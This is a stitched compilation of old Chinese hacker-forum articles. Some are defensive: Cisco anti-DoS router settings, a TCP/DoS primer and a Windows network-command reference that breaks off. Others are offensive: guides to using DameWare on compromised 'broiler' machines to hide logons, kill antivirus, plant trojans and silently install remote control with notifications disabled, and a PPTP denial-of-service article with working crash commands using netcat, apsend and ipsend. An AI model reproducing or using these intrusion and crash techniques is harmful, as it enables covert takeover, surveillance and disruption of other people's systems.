单一地址反向传输路径转发（Unicast Reverse Path Forwarding）在ISP（局端）实现阻止SMURF攻击和其它基于IP地址伪装的攻击。这能够保护网络和客户免受来自互联网其它地方的侵扰。使用Unicast RPF 需要打开路由器的"CEF swithing"或"CEF distributed switching"选项。不需要将输入接口配置为CEF交换（switching）。只要该路由器打开了CEF功能，所有独立的网络接口都可以配置为其它交换（switching）模式。RPF（反向传输路径转发）属于在一个网络接口或子接口上激活的输入端功能，处理路由器接收的数据包。

在路由器上打开CEF功能是非常重要的，因为RPF必须依靠CEF。Unicast RPF包含在支持CEF的Cisco IOS 12.0 及以上版本中，但不支持Cisco IOS 11.2或11.3版本。

2、使用访问控制列表（ACL）过滤RFC 1918中列出的所有地址

参考以下例子：

interface xy

ip access-group 101 in

access-list 101 deny ip 10.0.0.0 0.255.255.255 any
access-list 101 deny ip 192.168.0.0 0.0.255.255 any
access-list 101 deny ip 172.16.0.0 0.15.255.255 any
access-list 101 permit ip any any

3、参照RFC 2267，使用访问控制列表（ACL）过滤进出报文

参考以下例子：

{ISP中心} -- ISP端边界路由器 -- 客户端边界路由器 -- {客户端网络}

ISP端边界路由器应该只接受源地址属于客户端网络的通信，而客户端网络则应该只接受源地址未被客户端网络过滤的通信。以下是ISP端边界路由器的访问控制列表（ACL）例子：

access-list 190 permit ip {客户端网络} {客户端网络掩码} any

access-list 190 deny ip any any [log]

interface {内部网络接口} {网络接口号}

ip access-group 190 in

以下是客户端边界路由器的ACL例子：
access-list 187 deny ip {客户端网络} {客户端网络掩码} any
access-list 187 permit ip any any
access-list 188 permit ip {客户端网络} {客户端网络掩码} any
access-list 188 deny ip any any
interface {外部网络接口} {网络接口号}
ip access-group 187 in
ip access-group 188 out
如果打开了CEF功能，通过使用单一地址反向路径转发（Unicast RPF），能够充分地缩短访问控制列表（ACL）的长度以提高路由器性能。为了支持Unicast RPF，只需在路由器完全打开CEF；打开这个功能的网络接口并不需要是CEF交换接口。

4、使用CAR（Control Access Rate）限制ICMP数据包流量速率

参考以下例子：
interface xy
rate-limit output access-group 2020 3000000 512000 786000 conform-action
transmit exceed-action drop
access-list 2020 permit icmp any any echo-reply
请参阅IOS Essential Features 获取更详细资料。

5、设置SYN数据包流量速率

interface {int}
rate-limit output access-group 153 45000000 100000 100000 conform-action
transmit exceed-action drop
rate-limit output access-group 152 1000000 100000 100000 conform-action
transmit exceed-action drop
access-list 152 permit tcp any host eq www
access-list 153 permit tcp any host eq www established
在实现应用中需要进行必要的修改，替换：
45000000为最大连接带宽 1000000为SYN flood流量速率的30%到50%之间的数值。

burst normal（正常突变）和 burst max（最大突变）两个速率为正确的数值。

注意，如果突变速率设置超过30%，可能会丢失许多合法的SYN数据包。使用"show interfaces rate-limit"命令查看该网络接口的正常和过度速率，能够帮助确定合适的突变速率。这个SYN速率限制数值设置标准是保证正常通信的基础上尽可能地小。

警告：一般推荐在网络正常工作时测量SYN数据包流量速率，以此基准数值加以调整。必须在进行测量时确保网络的正常工作以避免出现较大误差。

另外，建议考虑在可能成为SYN攻击的主机上安装IP Filter等IP过滤工具包。

6、搜集证据并联系网络安全部门或机构

如果可能，捕获攻击数据包用于分析。建议使用SUN工作站或Linux等高速计算机捕获数据包。常用的数据包捕获工具包括TCPDump和snoop等。基本语法为：

tcpdump -i interface -s 1500 -w capture_file

snoop -d interface -o capture_file -s 1500

本例中假定MTU大小为1500。如果MTU大于1500，则需要修改相应参数。将这些捕获的数据包和日志作为证据提供给有关网络安全部门或机构。


DameWare NT Utilities 使用心得

此"DameWare NT Utilities",是一个类似资源管理器的界面,
可不是DameWare Mini Remote Control,也不是DameWare NT Utilities Exporter.
左上角有一个电脑图标,按这个就可以加入一个IP(你的肉鸡啊!)
点击+号,散开
双击
一:Disk Drives
此机的物理硬盘,可用的操作都在右键里.看看它的属性,嘿嘿~~你可以管理物理硬盘了!你的网速够快,可以挑战:-).如果你的文件系统是FAT32,大概不可以管理NTSF文件系统的硬盘,我没试过.下面的GB,MB,KB,B是显示容量的单位.
二:Evrent log
看就晓得是管理日志.下面的图标分别是"察看" "打开文件" "保守记录" "删除全部记录" "过滤 开/关" "日志属性"
其中"打开文件"可以让日志保存你想让它显示的内容,当然你要先做个假的日志文件.
winnt\system32\logfiles下的不是在这里!
有一点要讲的是最后的日志总有此程序的踪迹!这就是有些人不屑用这个的原因吧.呵呵~我才不管呢!我是菜鸟我怕谁!
三:Groups
是指本机的用户组,一般我们看了无用,但在域中就不同了,最起码可以知道它有些什么样的组群.
四:Open files
当前用户打开的文件
五:Printers
打印机.我没有装,没试过.
六:Poocesses
进程管理!可用来对付防火墙.本人N次杀金*毒霸,瑞*防火墙.有些防火墙不可以直接stop service的,你可在相应的服务下右键点End process(终止进程),然后再stop service.下面这一栏是和进程相依赖的一些--怎么讲呀,暂时就叫一些东东.下面的图标就是终止,开始,上下,内存,自动,停止等等.
七:Properties
这是系统信息.内存,CPU什么的全在这里,呵呵,比看我自己的还清楚哦.
八:RAS
暂不知有何用.一点击还要好久才看得到!...靠!
九:Registry
注册表啦!想搞什么?
不让管理员发现你登陆:
HKEY_LOCAL_MACHINE--SOFTWARE--Microsoft--Winnt--CurrentVersion--Winlogon,找到DontDisplayLastUserName,将键值设置为1.

有时3389明明已安装好了,却连接不上,这就是开启停用的3389-RDP连接:
hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\rdp-tcp\fEnableWinStation
将fEnableWinStation值由0改为1

还有诸如telnet之类都可在这里改的,不晓得改?到网上找呀,大卵把,上面就是我找来的:-)
九:Remote Command
看图标就晓得是和CMD.EXE有关!
散开后有两个,大同小异.一个是在DameWare NT Utilities窗口里打开,那一个是另开窗口,我是喜欢后者. 这个就是M$著名的"后门"RCMD,用的默契认端口也是445,应该就是http://www.sandflee.net/down/show.asp?id=105沙子这里讲的rcmd.exe(后门?)
一切你可用的DOS命令都可以在这里实现!
十:Remote control
这就是那个GUI迷使你的图形界面远程控制器DameWare Mini Remote Control
十一:Replication
复制什么鬼东西??不清楚.
十二:Schedule
你想帮它调时间和进度的话就好好研究哦.
十二:Search
我都在这里了还要探测什么??对我好象无用~
十三:Send Message
好多人在问怎么样给对方发消息啊?这个就可以做到.不过你的大名(机器名)可能要留下啦.这个在你进对方的机器时也可用到!只要知道他的IP.限win2000.
十四:Services
这里名堂就大啊!
有三项,service view--显示服务,install service--安装服务,remove service--删除服务,我以为在第一项里全搞得定了.什么安装服务,删除服务,重启服务,开始服务,
显示服务名,服务属性,全可用右键和下面图标点出来.我是经常点右键-属性(service Properties),点出来一个图形界面,上面三个洞分别是 "自动" "手动" "禁止" ,下面第一个洞System Account是指只要系统管理员就可以使用,关键是下面,这个可以定制这个服务给谁用!我们点下面这个,再点浏览Browse,哈哈,加上你的用户名!OK,这个服务就只有你可以用哦.管他administrator,你现在是administrator他爹!(系统关键服务不可以这样用!)
十五:Sessions
会话.
肉鸡的管理员在管理工具里可以看到!但我们要使用时不可以把会话关闭,不信就试试,万一你成功了记得告诉我一声^_^
十六:Shares
共享文件夹.也就是我们在本机资料管理器里看到的磁盘和文件.要复制什么木马,后门什么的就在这里搞.从自己的机子右键盘复制文件,然后在这里找到目标文件夹,右键粘贴,靠!和自己机子上用一模一样!爽啦~~~~~~~~~~
有的机器它有文件夹没有开共享,那就让我们自己来啦,在那个RCMD里用命令
net share sharename=dirve
net share sharename /delete 删除一个共享
net share c$="c:" 就把C盘隐藏后共享了
十七:Shutdown
这个慎用!!!
下面图标前三个分别是"重启" "注销" "关机".后面的无关紧要.
十八:Softwaer
这里就是我们控制面板里的添加删除程序.
可看到此机装了一些什么软件,当然,你也可以帮他卸载:-)
还可以看它打了些什么补丁,比如Q314147,我们就得知它打了SP3(只是比方哦,自己定夺)
十九:System tools
靠!这里是我自己机子上的工具!不要你管!
二十:TCP Utilities
这里是TCP,ftp.telnet有关的,不多讲了,自己试试就知.最起码我连接前可以Ping一下你,看你通不通.
二十一:Users
用户管理!!
和你在自己机子里的用户管理一样.嘿嘿,看你加的用户名在不在这里.我有时进入别人的域服务器里,不能在命令提示符下加用户,到这里是你的明智选择!!!题外话:不要给自己加过多头衔哦~
二十二:Wake-On-LAn
激活打开局域网(内部网)
这里可察看它的网络状况,可以关闭它的某些内部网络!靠!厉害~

呵呵,我的一些常用:
二:Evrent log(日志) 六:Poocesses(进程) 九:Registry(注册表) 九:Remote Command(RCMD) 十:Remote control(迷死你远程图形控制) 十三:Send Message(给MM发消息不可不用) 十四:Services(服务) 十六:Shares(文件夹)每次都用了 二十一:Users(用户管理)不可不用!
小经验:这里加的机子多了,它显示的图标也不同.
域服务器是三个小电脑相连的,如果都是绿色,靠!那这个机一定有3389;
如果图标是个机箱,且是绿色的,也有3389,不过不是域服务器;
一半黄一半绿,或者三个小电脑有一二个是黄的呢?说明它还有服务没有发掘.
在IP上点右键--Tools--Computer Comments,下面那栏可以注明属性,比如3389,1433,日本,MM,GG,主要是给自己好记啊~你肉鸡少就不要搞了:-)不要问我,我肯定搞了哦~

你怎么还往下看啊,嘿嘿~~真高兴你比俺还菜^_^

本人初次写东东,肯定有不对的地方,指教请打我的
QQ1978082 or EMAIL:czlwh0724@hotmail.com
http://www.sandflee.net/cgi-bin/lb5000/leoboard.cgi
"灰色轨迹"里的---无雪


DameWare NT Utilities

wawa@21cn.com QQ:880610

2001/11/30

今天在补天问.abu.问题时,提起了这个工具,下了一试,果然不同凡响!谢谢.abu.!

我真是孤陋寡闻,原来怎么不知道呢????呵呵!

DameWare NT Utilities是一套功能强大的控制工具,试用后觉得是网管的好帮手,有了他网管就不用为了

设置调试在两台机器中跑来跑去了.呵呵!但你想用他来入侵远程主机的话,那就更没问题了,你只要拥有

一个远程主机的有权限的帐号,就能使用它远程GUI下登陆交互控制主机.还有其他的很多强大的功能,

就不一一列举,这篇文章主要介绍如何使用它的GUI的远程控制功能.让没有用过的,有个简单的认识.

[下载]DameWare NT Utilities 5.88M

下载后双击EXE文件安装(你要不会安的话我建议你就不要往下看了,呵呵!),安装后会生成DameWare NT Utilities

程序组,如图1:

在这里,我们主要学习mini remote control 也就是第二个图标,双击打开

如图2:(我已经连接到远程的截图)

图有点大,呵呵!这样可以看的明白些!

好!可以开始了!

点连接按钮1,弹出连接对话框,如图3:

输入对方的IP地址,和已知的用户名,密码
连接默认端口是6129,可以不动

然后再点设置(最下的那个按钮),弹出对话框,如图4:

这个图是远程控制设置项,建议把"view only"勾上,看看先,连上后如果没人的话,

再把控制按钮6点击弹起,就可控制.压缩我选的最高.

在另一个选项"display options"里建议把"gray scale"(黑白)勾上,

速度还是快点好,有没有彩色我觉得无所谓.如果你和对方的网速够快的话,你选真彩吧!呵呵!
别的像什么数据加密,连接断开时间,鼠标状态,扫描线数等都可以默认值,

应用确定后,又退回到图3界面,按OK

程序会自动连接远程主机,他会发现远程没有安装连接服务,弹出对话框:如图5

注:其实先出现上面的图,点:"install options"后才出下下面的图,我截图都快截晕了!)

程序问是否安装?当然要装啊!不装连个P,但不要现在点OK,要先设置,点install options按钮

"stop service on disc" //断开连接时停止服务(下次连接时会自动启动服务_)

"remove ser... on disc" //断开连接时卸掉服务 (下次要重装)

"copy drwcs.ini" //copy配置文件到远程主机这个很关键,一定要选上

这个ini文件包含了服务端的设置,如果不选的话,服务端会自动生成默认INI文件

但那个默认设置会在你连接时在远程主机桌面的状态栏上出现个图标,并且还会出显连接提示窗口 还发出"当"的一声,呵呵!除非对方是聋子瞎子.

废话少说,

勾上ini文件,点"edit"

弹出记事本编辑器,里面有好多东东不管他,把下面这段加到前面,存盘退出.

[Settings]
Port=6129
Adgang NTLM=Yes
Adgang 1=
Adgang 2=
Adgang 3=0
Notify On New Connection=No
Permission Required=No
Show SysTray Icon=No
Permission Required for non Admin=Yes
On Disconnect Logoff Desktop=No
Force Applications Close=No
On Disconnect Lock Workstation=No
Logon At Logon Desktop Only=No
Enable Add Client Connection Menu=Yes
Enable Disconnection Menu=Yes

主要的是第6行和第8行,把上面说的提示给取消了.

别的一些设置可以不管他.

好了,现在点OK,程序会自动安装远程服务,启动,并连接上.

你就可以看到远程桌面了,呵呵!

注意事项:

连接以后先不要做什么,显示对方鼠标(按钮9),观察一下,看对方在干什么

如果没人使用,你就可以弹起按钮6,开始控制,这时你的一切操作都会在对方屏幕上显示出来

对方会看到,鼠标自己移动,打开窗口,关掉窗口,甚至打开记事本,在上面写道"我饿了,有康师傅吗?"

呵呵!不知道的会不会吓晕啊!(这是因为dwrcc的控制方式和3389终端服务的不一样,dwrcc是基于屏幕截图来

控制和显示的)

显示速度还是很不错的,用上面的设置的话,56K完全可以忍受.

如果你控制时,对方也要控制,鼠标就会不听话,你就可以按下按钮5,他就傻了.

你还可以在控制中点击按钮12设置对方服务.

可以在下拉菜单"file"里选"remove service"来卸载远程服务.

本来还想写写DameWare NT Utilities的使用的,但是要把他写清楚太费时间了,因为他的功能太强大了

你可以自己看看,谁要是有兴趣,写一个.

个人理解,难免有错,抛砖引玉.

wawa 2001/11/30


DoS攻击微软的PPTP

呵呵,大家没有看错,的确是微软的,我们先看看PPTP是个什么东东PPTP(Piont-to-point Tunneling Protocol 点对点传输协议)是一个用以建立VPN的网络协议. 此协议需TCP(端口1723)和GRE以完成工作.
易收攻击系统：
* Dell PowerEdge 2200 with Intel 10/100 adapter, 256 MB RAM, NT Server 4.0
* Dell Dimension XPS M200s with 3Com 905B adapter, 64 MB RAM, NT Server 4.0

安全的系统：
* HP Vectra XA with AMD PCNet integrated Ethernet, 128 MB RAM, NT Workstation 4.0
* Dell Latitude CPx with 3Com 3CCFEM656 PC Card adapter, 128 MB RAM, NT Workstation 4.0
* Generic dual PII (Asus motherboard) with 3Com 980x adapter, 256 MB RAM, NT Server 4.0
* Dell Dimension XPS T550 with 3Com 905C-TX adapter, 128 MB RAM, NT Workstation 4.0

如何实现：
~~~~~~~~~
*需要的工具*
1.UNIX box(例如linux,*bsd....)
2.netcat ( http://www.l0pht.com/~weld/netcat/ )
3.apsend ( http://www.elxsi.de/ )
4.ipsend ( http://coombs.anu.edu.au/~avalon/ )

OK,这就好说了,
我们来看它的三个BUG
1 TCP端口1723
此弱点只在prior至SP6的机器上有效。并不是所有的机器都存在这个漏洞；请在Unix 操作系统内键入以下：
$ nc 1723 < /dev/zero

如机器存在此漏洞, 目标主机将在几秒种之内蓝屏，并有如下错误：
STOP 0x0A (0x0, 0x2, 0x0, 0x0) IRQL_NOT_LESS_OR_EQUAL
再次提醒，此弱点只对部分机器有效

2 GRE
此弱点对所有Service pack有效
在目标机器上，打开任务管理器选择“运行”。并打开 一个DOS窗口（开始-运行-CMD).在Unix类操作系统上：
$ apsend -d --protocol 47 -m 0 -q
在目标主机上你将看到任务管理器内内核记忆的数字将缓慢上升。最终，这些数字将停止增加；此时， CPU在一段时间内有可能被100%占用。现在你可以试着在命令提示符后键入一个命令例如DIR,这时你将看 到一个信息说提示操作系统已不可能完成要执行的命令

3弱点三：GRE
此弱点同样对所有的Service pack有效。请在Unix操作系统上：
#!/bin/csh
foo:
ipsend -i -P gre > /dev/null
goto foo
目标主机很快会蓝屏，大概需要50个数据包。
明白了吧


DOS攻击原理以及常见方法介绍

1、什么是DOS攻击
    DOS：即Denial Of Service，拒绝服务的缩写，可不能认为是微软的dos操作系统了。好象在5·1的时候闹过这样的笑话。拒绝服务，就相当于必胜客在客满的时候不再让人进去一样，呵呵，你想吃馅饼，就必须在门口等吧。DOS攻击即让目标机器停止提供服务或资源访问。

2、有关TCP协议的东西
    TCP（transmission control protocol，传输控制协议），是用来在不可靠的因特网上提供可靠的、端到端的字节流通讯协议，在RFC793中有正式定义，还有一些解决错误的东西在RFC 1122中有记录，RFC 1323则有TCP的功能扩展。我们常见到的TCP/IP协议中，IP层不保证将数据报正确传送到目的地，TCP则从本地机器接受用户的数据流，将其分成不超过64K字节的数据片段，将每个数据片段作为单独的IP数据包发送出去，最后在目的地机器中再组合成完整的字节流，TCP协议必须保证可靠性。发送和接收方的TCP传输以数据段的形式交换数据，一个数据段包括一个固定的20字节，加上可选部分，后面再跟上数据，TCP协议从发送方传送一个数据段的时候，还要启动计时器，当数据段到达目的地后，接收方还要发送回一个数据段，其中有一个确认序号，它等于希望收到的下一个数据段的顺序号，如果计时器在确认信息到达前超时了，发送方会重新发送这个数据段。

    上面，我们总体上了解一点TCP协议，重要的是要熟悉TCP的数据头（header）。因为数据流的传输最重要的就是header里面的东西，至于发送的数据，只是header附带上的。客户端和服务端的服务响应就是同header里面的数据相关，两端的信息交流和交换是根据header中的内容实施的，因此，要实现DOS，就必须对header中的内容非常熟悉。

下面是TCP数据段头格式。RFC793中的

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

TCP Header Format

Source Port和 Destination Port :是本地端口和目标端口
Sequence Number 和 Acknowledgment Number ：是顺序号和确认号，确认号是希望接收的字节号。这都是32位的，在TCP流中，每个数据字节都被编号。
Data offset :表明TCP头包含多少个32位字，用来确定头的长度，因为头中可选字段长度是不定的。
Reserved : 保留的6位，现在没用，都是0

    接下来是6个1位的标志，这是两个计算机数据交流的信息标志。接收和发送断根据这些标志来确定信息流的种类。下面是一些介绍：
URG：（Urgent Pointer field significant）紧急指针。用到的时候值为1，用来处理避免TCP数据流中断
ACK：（Acknowledgment field significant）置1时表示确认号（Acknowledgment Number）为合法，为0的时候表示数据段不包含确认信息，确认号被忽略。
PSH：（Push Function），PUSH标志的数据，置1时请求的数据段在接收方得到后就可直接送到应用程序，而不必等到缓冲区满时才传送。
RST：（Reset the connection）用于复位因某种原因引起出现的错误连接，也用来拒绝非法数据和请求。如果接收到RST位时候，通常发生了某些错误。
SYN：（Synchronize sequence numbers）用来建立连接，在连接请求中，SYN=1，ACK=0，连接响应时，SYN=1，ACK=1。即，SYN和ACK来区分Connection Request和Connection Accepted。
FIN：（No more data from sender）用来释放连接，表明发送方已经没有数据发送了。

知道这重要的6个指示标志后，我们继续来。

    16位的WINDOW字段：表示确认了字节后还可以发送多少字节。可以为0，表示已经收到包括确认号减1（即已发送所有数据）在内的所有数据段。
接下来是16位的Checksum字段，用来确保可靠性的。
16位的Urgent Pointer，和下面的字段我们这里不解释了。不然太多了。呵呵，偷懒啊。

我们进入比较重要的一部分：TCP连接握手过程。这个过程简单地分为三步。

在没有连接中，接受方（我们针对服务器），服务器处于LISTEN状态，等待其他机器发送连接请求。

第一步：客户端发送一个带SYN位的请求，向服务器表示需要连接，比如发送包假设请求序号为10，那么则为：SYN=10，ACK=0，然后等待服务器的响应。

第二步：服务器接收到这样的请求后，查看是否在LISTEN的是指定的端口，不然，就发送RST=1应答，拒绝建立连接。如果接收连接，那么服务器发送确认，SYN为服务器的一个内码，假设为100，ACK位则是客户端的请求序号加1，本例中发送的数据是：SYN=100，ACK=11，用这样的数据发送给客户端。向客户端表示，服务器连接已经准备好了，等待客户端的确认
这时客户端接收到消息后，分析得到的信息，准备发送确认连接信号到服务器
第三步：客户端发送确认建立连接的消息给服务器。确认信息的SYN位是服务器发送的ACK位，ACK位是服务器发送的SYN位加1。即：SYN=11，ACK=101。

    这时，连接已经建立起来了。然后发送数据，<SYN=11，ACK=101><DATA>。这是一个基本的请求和连接过程。需要注意的是这些标志位的关系，比如SYN、ACK。

3、服务器的缓冲区队列（Backlog Queue）
    服务器不会在每次接收到SYN请求就立刻同客户端建立连接，而是为连接请求分配内存空间，建立会话，并放到一个等待队列中。如果，这个等待的队列已经满了，那么，服务器就不在为新的连接分配任何东西，直接丢弃新的请求。如果到了这样的地步，服务器就是拒绝服务了。
如果服务器接收到一个RST位信息，那么就认为这是一个有错误的数据段，会根据客户端IP，把这样的连接在缓冲区队列中清除掉。这对IP欺骗有影响，也能被利用来做DOS攻击。

####################################################################

    上面的介绍，我们了解TCP协议，以及连接过程。要对SERVER实施拒绝服务攻击，实质上的方式就是有两个：
一， 迫使服务器的缓冲区满，不接收新的请求。
二， 使用IP欺骗，迫使服务器把合法用户的连接复位，影响合法用户的连接这就是DOS攻击实施的基本思想。具体实现有这样的方法：

1、SYN FLOOD
    利用服务器的连接缓冲区（Backlog Queue），利用特殊的程序，设置TCP的Header，向服务器端不断地成倍发送只有SYN标志的TCP连接请求。当服务器接收的时候，都认为是没有建立起来的连接请求，于是为这些请求建立会话，排到缓冲区队列中。

    如果你的SYN请求超过了服务器能容纳的限度，缓冲区队列满，那么服务器就不再接收新的请求了。其他合法用户的连接都被拒绝掉。可以持续你的SYN请求发送，直到缓冲区中都是你的只有SYN标记的请求。现在有很多实施SYN FLOOD的工具，呵呵，自己找去吧。

2、IP欺骗DOS攻击
    这种攻击利用RST位来实现。假设现在有一个合法用户(1.1.1.1)已经同服务器建立了正常的连接，攻击者构造攻击的TCP数据，伪装自己的IP为1.1.1.1，并向服务器发送一个带有RST位的TCP数据段。服务器接收到这样的数据后，认为从1.1.1.1发送的连接有错误，就会清空缓冲区中建立好的连接。这时，如果合法用户1.1.1.1再发送合法数据，服务器就已经没有这样的连接了，该用户就必须从新开始建立连接。
攻击时，伪造大量的IP地址，向目标发送RST数据，使服务器不对合法用户服务。

3、带宽DOS攻击
    如果你的连接带宽足够大而服务器又不是很大，你可以发送请求，来消耗服务器的缓冲区消耗服务器的带宽。这种攻击就是人多力量大了，配合上SYN一起实施DOS，威力巨大。不过是初级DOS攻击。呵呵。Ping白宫？？你发疯了啊！

4、自身消耗的DOS攻击
    这是一种老式的攻击手法。说老式，是因为老式的系统有这样的自身BUG。比如Win95 (winsock v1), Cisco IOS v.10.x, 和其他过时的系统。
这种DOS攻击就是把请求客户端IP和端口弄成主机的IP端口相同，发送给主机。使得主机给自己发送TCP请求和连接。这种主机的漏洞会很快把资源消耗光。直接导致当机。这种伪装对一些身份认证系统还是威胁巨大的。

    实施DOS攻击最主要的就是构造需要的TCP数据，充分利用TCP协议。这些攻击方法都是建立在TCP基础上的。当然还有更多的实施方法，可以自己去研究。


DOS下常用网络相关命令解释

Arp
显示和修改“地址解析协议”(ARP) 所使用的到以太网的 IP 或令牌环物理地址翻译表。该命令只有在安装了 TCP/IP 协议之后才可用。
arp -a [inet_addr] [-N [if_addr]

arp -d inet_addr [if_addr]

arp -s inet_addr ether_addr [if_addr]

参数

-a

通过询问 TCP/IP 显示当前 ARP 项。如果指定了 inet_addr，则只显示指定计算机的 IP 和物理地址。

-g

与 -a 相同。

inet_addr

以加点的十进制标记指定 IP 地址。

-N

显示由 if_addr 指定的网络界面 ARP 项。

if_addr

指定需要修改其地址转换表接口的 IP 地址（如果有的话）。如果不存在，将使用第一个可适用的接口。

-d

删除由 inet_addr 指定的项。

-s

在 ARP 缓存中添加项，将 IP 地址 inet_addr 和物理地址 ether_addr 关联。物理地址由以连字符分隔的 6 个十六进制字节给定。使用带点的十进制标记指定 IP 地址。项是永久性的，即在超时到期后项自动从缓存删除。

ether_addr

指定物理地址。

Finger
在运行 Finger 服务的指定系统上显示有关用户的信息。根据远程系统输出不同的变量。该命令只有在安装了 TCP/IP 协议之后才可用。

finger [-l] [user]@computer[...]

参数

-l

以长列表格式显示信息。

user

指定要获得相关信息的用户。省略用户参数以显示指定计算机上所有用户的信息：

@computer

Ftp
将文件传送到正在运行 FTP 服务的远程计算机或从正在运行 FTP 服务的远程计算机传送文件（有时称作 daemon）。Ftp 可以交互使用。单击“相关主题”列表中的“ftp 命令”以获得可用的“ftp”子命令描述。该命令只有在安装了 TCP/IP 协议之后才可用。Ftp 是一种服务，一旦启动，将创建在其中可以使用 ftp 命令的子环境，通过键入 quit 子命令可以从子环境返回到 Windows 2000 命令提示符。当 ftp 子环境运行时，它由 ftp 命令提示符代表。

ftp [-v] [-n] [-i] [-d] [-g] [-s:filename] [-a] [-w:windowsize] [computer]

参数

-v

禁止显示远程服务器响应。

-n

禁止自动登录到初始连接。

-i

多个文件传送时关闭交互提示。

-d

启用调试、显示在客户端和服务器之间传递的所有 ftp 命令。

-g

禁用文件名组，它允许在本地文件和路径名中使用通配符字符（* 和 ?）。（请参阅联机“命令参考”中的 glob 命令。）

-s: filename

指定包含 ftp 命令的文本文件；当 ftp 启动后，这些命令将自动运行。该参数中不允许有空格。使用该开关而不是重定向 (> )。

-a

在捆绑数据连接时使用任何本地接口。

-w:windowsize

替代默认大小为 4096 的传送缓冲区。

computer

指定要连接到远程计算机的计算机名或 IP 地址。如果指定，计算机必须是行的最后一个参数。

Nbtstat
该诊断命令使用 NBT（TCP/IP 上的 NetBIOS）显示协议统计和当前 TCP/IP 连接。该命令只有在安装了 TCP/IP 协议之后才可用。

nbtstat [-a remotename] [-A IP address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]

参数

-a remotename

使用远程计算机的名称列出其名称表。

-A IP address

使用远程计算机的 IP 地址并列出名称表。

-c

给定每个名称的 IP 地址并列出 NetBIOS 名称缓存的内容。

-n

列出本地 NetBIOS 名称。“已注册”表明该名称已被广播 (Bnode) 或者 WINS（其他节点类型）注册。

-R

清除 NetBIOS 名称缓存中的所有名称后，重新装入 Lmhosts 文件。

-r

列出 Windows 网络名称解析的名称解析统计。在配置使用 WINS 的 Windows 2000 计算机上，此选项返回要通过广播或 WINS 来解析和注册的名称数。

-S

显示客户端和服务器会话，只通过 IP 地址列出远程计算机。

-s

显示客户端和服务器会话。尝试将远程计算机 IP 地址转换成使用主机文件的名称。

interval

重新显示选中的统计，在每个显示之间暂停 interval 秒。按 CTRL+C 停止重新显示统计信息。如果省略该参数，nbtstat 打印一次当前的配置信息。

Netstat
显示协议统计和当前的 TCP/IP 网络连接。该命令只有在安装了 TCP/IP 协议后才可以使用。

netstat [-a] [-e] [-n] [-s] [-p protocol] [-r] [interval]

参数

-a

显示所有连接和侦听端口。服务器连接通常不显示。

-e

显示以太网统计。该参数可以与 -s 选项结合使用。

-n

以数字格式显示地址和端口号（而不是尝试查找名称）。

-s

显示每个协议的统计。默认情况下，显示 TCP、UDP、ICMP 和 IP 的统计。-p 选项可以用来指定默认的子集。

-p protocol

显示由 protocol 指定的协议的连接；protocol 可以是 tcp 或 udp。如果与 -s 选项一同使用显示每个协议的统计，protocol 可以是 tcp、udp、icmp 或 ip。

-r

显示路由表的内容。

interval

重新显示所选的统计，在每次显示之间暂停 interval 秒。按 CTRL+B 停止重新显示统计。如果省略该参数，netstat 将打印一次当前的配置信息。

Ping
验证与远程计算机的连接。该命令只有在安装了 TCP/IP 协议后才可以使用。

ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] | [-k computer-list] [-w timeout] destination-list

参数

-t

Ping 指定的计算机直到中断。

-a

将地址解析为计算机名。

-n count

发送 count 指定的 ECHO 数据包数。默认值为 4。

-l length

发送包含由 length 指定的数据量的 ECHO 数据包。默认为 32 字节；最大值是 65,527。

-f

在数据包中发送“不要分段”标志。数据包就不会被路由上的网关分段。

-i ttl

将“生存时间”字段设置为 ttl 指定的值。

-v tos

将“服务类型”字段设置为 tos 指定的值。

-r count

在“记录路由”字段中记录传出和返回数据包的路由。count 可以指定最少 1 台，最多 9 台计算机。

-s count

指定 count 指定的跃点数的时间戳。

-j computer-list

利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔（路由稀疏源）IP 允许的最大数量为 9。

-k computer-list

利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔（路由严格源）IP 允许的最大数量为 9。

-w timeout

指定超时间隔，单位为毫秒。

destination-list

指定要 ping 的远程计算机。

Rcp
在 Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件。rcp 命令是一个连接命令，从 Windows 2000 计算机发出该命令时，也可以用于其他传输在两台运行 rshd 的计算机之间复制文件。rshd 端口监控程序可以在 UNIX 计算机上使用，而在 Windows 2000 上不能使用，所以 Windows 2000 计算机仅可以作为发出命令的系统参与。远程计算机必须也通过运行 rshd 提供 rcp 实用程序。

rcp [-a | -b] [-h] [-r] source1 source2 ... sourceN destination

参数

-a

指定 ASCII 传输模式。此模式在传出文件上将回车/换行符转换为回车符，在传入文件中将换行符转换为回车/换行符。该模式为默认的传输模式。

-b

指定二进制图像传输模式。没有执行回车/换行符转换。

-h

传输 Windows 2000 计算机上标记为隐藏属性的源文件。如果没有该选项，在 rcp 命令行上指定隐藏文件的效果与文件不存在一样。

-r

将源的所有子目录内容递归复制到目标。source 和 destination 都必须是目录，虽然即使源不是目录，使用 -r 也能够工作。但将没有递归。

source 和 destination

